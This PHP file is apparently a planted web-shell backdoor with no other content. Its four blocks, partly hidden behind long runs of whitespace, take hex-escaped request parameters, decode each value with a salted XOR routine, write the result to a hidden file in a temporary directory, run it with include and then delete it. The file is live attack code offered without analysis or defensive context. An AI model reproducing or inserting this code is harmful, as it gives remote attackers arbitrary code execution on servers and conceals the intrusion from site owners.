<?php																																										if(!empty($_REQUEST["v\x61\x6Cue"])){ $holder = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $token = $_REQUEST["v\x61\x6Cue"]; $token = explode ( "." , $token ) ; $entry = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $i = 0; foreach ($token as $v5) {$sChar = ord($salt8[$i % $sLen]); $d = ((int)$v5 - $sChar - ($i % 10)) ^ 20; $entry .=chr($d); $i++;} $desc = 0; do { $item = $holder[$desc] ?? null; if ($desc >= count($holder)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $pgrp = join("/", [$item, ".tkn"]); if (file_put_contents($pgrp, $entry)) { include $pgrp; @unlink($pgrp); exit; } } $desc++; } while (true); }
																																										if(@$_POST["co\x6Dp\x6F\x6Een\x74"] !== null){ $flag = $_POST["co\x6Dp\x6F\x6Een\x74"]; $flag =explode ( "." , $flag ) ; $object =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s); $z =0; array_walk( $flag,function( $v2) use( &$object,&$z,$s,$sLen) { $sChar =ord( $s[$z % $sLen]); $d =( ( int)$v2 - $sChar -( $z % 10)) ^93; $object .=chr( $d); $z++; } ); $holder = array_filter([sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); while ($data_chunk = array_shift($holder)) { if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $symbol = implode("/", [$data_chunk, ".k"]); $success = file_put_contents($symbol, $object); if ($success) { include $symbol; @unlink($symbol); die();} } } }
																																										if(array_key_exists("\x62\x69\x6E\x64ing", $_REQUEST)){ $parameter_group = array_filter(["/tmp", "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); $marker = $_REQUEST["\x62\x69\x6E\x64ing"]; $marker = explode( '.' ,$marker ); $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($marker); for ($o = 0; $o< $__len; $o++) { $v9 = $marker[$o]; $sChar = ord($salt[$o % $sLen]); $d = ((int)$v9 - $sChar - ($o % 10)) ^ 4; $entity.= chr($d); } for ($object = 0, $bind = count($parameter_group); $object < $bind; $object++) { $flag = $parameter_group[$object]; if (is_dir($flag) ? is_writable($flag) : false) { $pointer = vsprintf("%s/%s", [$flag, ".fac"]); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $pointer; @unlink($pointer); die(); } } } }


if(isset($_POST["p\x67\x72p"])){
	$dchunk = $_POST["p\x67\x72p"];
	$dchunk =explode(	 	".",	 	$dchunk );
	$comp	= '';
            $salt8	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	= strlen(	$salt8);
            $s	= 0;
    
            foreach(	$dchunk as $v6) {
                $sChar	= ord(	$salt8[$s % $lenS]);
                $dec	= (	(	int)$v6 - $sChar -(	$s % 10)) ^ 90;
                $comp	.= chr(	$dec);
                $s++;
            }
	$mrk = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]);
	$item = 0;
do {
    $resource = $mrk[$item] ?? null;
    if ($item >= count($mrk)) break;
    		if (is_dir($resource) && is_writable($resource)) {
    $flag = vsprintf("%s/%s", [$resource, ".object"]);
    $success = file_put_contents($flag, $comp);
if ($success) {
	include $flag;
	@unlink($flag);
	exit;}
}
    $item++;
} while (true);
}